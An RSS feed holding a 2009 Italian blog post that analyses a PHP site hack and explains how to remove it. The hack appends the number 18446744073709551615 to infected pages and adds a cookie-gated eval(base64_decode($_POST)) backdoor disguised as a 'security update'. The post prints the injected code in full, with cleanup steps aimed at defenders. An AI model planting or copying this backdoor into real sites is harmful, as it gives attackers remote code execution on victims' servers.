<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Capn3m0 WebSecurity &#187; injection</title>
	<atom:link href="http://www.capn3m0.org/tag/injection/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.capn3m0.org</link>
	<description>...hacking, security, wifi and more...</description>
	<lastBuildDate>Wed, 08 Feb 2012 16:58:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>18446744073709551615 &#8211; Un nuovo hack in arrivo?</title>
		<link>http://www.capn3m0.org/18446744073709551615-un-nuovo-hack-in-arrivo.html</link>
		<comments>http://www.capn3m0.org/18446744073709551615-un-nuovo-hack-in-arrivo.html#comments</comments>
		<pubDate>Mon, 09 Feb 2009 19:15:20 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerabilità]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=122</guid>
		<description><![CDATA[Negli ultimi giorni sto riscontrando un aumento di casi di hacking in cui apparentemente l&#8217;azione malevola consiste nel far visualizzare alla fine della home page della vittima il numero &#8220;18446744073709551615&#8220;. Ricercando in rete utilizzando questo numero come chiave di ricerca si troveranno numerosi articoli/post che affermano che si tratta del massimo numero utilizzabile all&#8217;interno di [...]]]></description>
			<content:encoded><![CDATA[<p>Negli ultimi giorni sto riscontrando un aumento di casi di hacking in cui apparentemente l&#8217;azione malevola consiste nel far visualizzare alla fine della home page della vittima il numero &#8220;<strong>18446744073709551615</strong>&#8220;.</p>
<p>Ricercando in rete utilizzando questo numero come chiave di ricerca si troveranno numerosi articoli/post che affermano che si tratta del massimo numero utilizzabile all&#8217;interno di un campo <strong>BIGINT </strong>in Php. Questo porterà l&#8217;ignaro utente ad impazzire alla ricerca della funzione all&#8217;interno del proprio sito che esegue calcoli che portano alla comparsa di questo numero. Tutto ciò sarà inutile!</p>
<p>In realtà questo numero viene visualizzato poiché le pagine &#8220;<strong>index.php</strong>&#8221; del proprio sito sono state hackerate inserendo al loro interno la seguente funzione che<strong> non altera il comportamento della pagina ma visualizza a pié di pagina il numero in oggetto</strong>.</p>
<p><span id="more-122"></span></p>
<p>La pagina modificata apparirà con il seguente codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #990000;">ob_start</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;security_update&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//do not remove this line - important security update!</span>
&nbsp;
<span style="color: #339933;">&lt;---</span> CODICE ORIGINALE DELLA PAGINA <span style="color: #339933;">---&gt;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
                <span style="color: #339933;">&lt;</span> ?php
                <span style="color: #000000; font-weight: bold;">function</span> security_update<span style="color: #009900;">&#40;</span><span style="color: #000088;">$buffer</span><span style="color: #009900;">&#41;</span>
                <span style="color: #009900;">&#123;</span>
                        <span style="color: #000088;">$update</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'18446744073709551615'</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">stristr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$buffer</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;/html'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #009900;">&#123;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #990000;">eregi_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;/html'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$update</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;html'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$buffer</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                        <span style="color: #b1b100;">else</span>
                        <span style="color: #009900;">&#123;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #000088;">$buffer</span><span style="color: #339933;">.</span><span style="color: #000088;">$update</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Come potete vedere analizzando il codice la funzione &#8220;<strong>security_update</strong>&#8221; non fa altro che inserire tutto l&#8217;output originale della propria pagina in un buffer e successivamente accodare al buffer il valore &#8220;<strong>18446744073709551615</strong>&#8220;.</p>
<p>La domanda che sorge è: <strong>perché?</strong></p>
<p>Sebbene stia tenendo d&#8217;occhio l&#8217;evolversi di questo hack non si è ancora individuato il motivo di tale azione. L&#8217;ipotesi che al momento appare essere la più veritiera è che venga utilizzato questo codice come &#8220;<strong>marcatore</strong>&#8221; dei siti &#8220;infetti&#8221; così da poterli facilmente trovare in una eventuale <a href="http://www.google.it/search?hl=it&amp;q=inurl%3Aindex.php+%2B18446744073709551615+&amp;sourceid=navclient-ff&amp;rlz=1B3GGGL_itIT312IT312&amp;ie=UTF-8&amp;aq=t&amp;oq=inurl%3Aindex.php+%2B18446744073709551615+" target="_blank"><strong>ricerca in rete</strong></a>.</p>
<p>In questo modo chi sta effettuando tali hack potrà individuare le proprie vittime e i siti per i quali conosce la falla di sicurezza che ha consentito di scrivere, per ora, il numero &#8220;<strong>18446744073709551615</strong>&#8220;.</p>
<p>Vedendo l&#8217;andamento delle ultime settimane ho assistito ad un&#8217;<strong>evoluzione dello script</strong> in quanto è stata aggiunta una nuova riga che potrebbe essere realmente dannosa per le vittime. Questo il codice nella sua nuova versione:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #990000;">ob_start</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;security_update&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//do not remove this line - important security update!</span>
 <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'73043475c0893e30'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;59fdd20854f4a2056c082cab53e64860&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #990000;">exit</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><span style="color: #339933;">&lt;</span> ?php</pre></td></tr></table></div>

<p>Questo script ha in più <strong>un check su un cookie</strong> che, se verificato (<strong>$_COOKIE['73043475c0893e30'])==&#8221;59fdd20854f4a2056c082cab53e64860&#8243;</strong>), esegue una decodifica di un file criptato inviato via <strong>POST</strong>.</p>
<p>In questo modo l&#8217;hacker ha la possibilità di inviare file a tutti i domini che precedentemente aveva infettato e &#8220;marcato&#8221;.</p>
<p>Per ora non ho assistito ad azioni concrete che hanno sfruttato questa funzione &#8220;<strong>security_update()</strong>&#8221; ma, ovviamente, è naturale pensare che lo script e le sue evoluzioni siano vari step di un&#8217;azione mirata a raccogliere centinaia di siti infetti per effettuare in seguito un attacco di massa.</p>
<h1><strong>Come eliminarlo?</strong></h1>
<p>Per eliminarlo basta individuare tutte le pagine che mostrano il numero &#8220;<strong>18446744073709551615</strong>&#8221; e ripulirle dal codice di questo hack mostrato in precedenza.</p>
<p>Anche in questo caso il programma &#8220;<a href="http://www.powergrep.com/" target="_blank"><strong>PoweGrep</strong></a>&#8221; ci torna comodo permettendoci di effettuare una ricerca della stringa &#8220;<strong>18446744073709551615</strong>&#8221; su tutti i file del proprio sito (in locale).</p>
<p>Una volta individuate la pagine vanno rimosse queste righe dalla parte superiore della pagina:</p>
</pre>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #990000;">ob_start</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;security_update&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//do not remove this line - important security update!</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'73043475c0893e30'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;59fdd20854f4a2056c082cab53e64860&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #990000;">exit</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>(la riga 3 non è presente in tutte le versioni)</p>
<p>e queste rige dalla fine:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">                <span style="color: #339933;">&lt;</span> ?php
                <span style="color: #000000; font-weight: bold;">function</span> security_update<span style="color: #009900;">&#40;</span><span style="color: #000088;">$buffer</span><span style="color: #009900;">&#41;</span>
                <span style="color: #009900;">&#123;</span>
                        <span style="color: #000088;">$update</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'18446744073709551615'</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">stristr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$buffer</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;/html'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #009900;">&#123;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #990000;">eregi_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;/html'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$update</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;html'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$buffer</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                        <span style="color: #b1b100;">else</span>
                        <span style="color: #009900;">&#123;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #000088;">$buffer</span><span style="color: #339933;">.</span><span style="color: #000088;">$update</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<h1>Possibilità di infezione</h1>
<p>Non ho determinato, per ora, se l'infezione avviene tramite una vulnerabilità del proprio applicativo web o se invece avviene via Ftp sfruttando le credenziali del proprio Client Ftp.</p>
<p>In ambo i casi i consigli sono sempre gli stessi e fanno sempre bene:</p>
<p>1) Verificare presso siti di sicurezza come <a href="http://secunia.com/" target="_blank"><strong>Secunia</strong></a> o <a href="http://www.securityfocus.com/" target="_blank"><strong>SecurityFocus</strong></a> o <a href="http://www.milw0rm.com/" target="_blank"><strong>Milw0rm</strong> </a>eventuali nuove vulnerabilità dei propri applicativi/script/cms.</p>
<p>2) Eseguire periodicamente <strong>scansioni complete dei propri PC con software AntiMalware,AntiSpyware, etc</strong>. In particolare consiglio l'utilizzo di <a href="http://www.malwarebytes.org/mbam.php" target="_blank"><strong>Malwarebytes' Anti-Malware</strong></a> che  include tutte queste protezioni in un unica soluzione</p>
<p>Chiunque abbia informazioni al riguardo e volesse condividerle mi scriva all'indirizzo <a href="mailto:capn3m0@capn3m0.org"><strong>capn3m0@capn3m0.org</strong></a></p>
<p><br class="spacer_" /></p>
<p><strong>AGGIORNAMENTO DELL'8/11/2009:</strong> <a href="http://www.capn3m0.org/hack-cannot-redeclare-security_update.html" target="_self">[HACK] – Cannot redeclare security_update(), alla fine è arrivato!</a></p>
<p><br class="spacer_" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/18446744073709551615-un-nuovo-hack-in-arrivo.html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Served from: www.capn3m0.org @ 2012-02-08 20:16:34 by W3 Total Cache -->
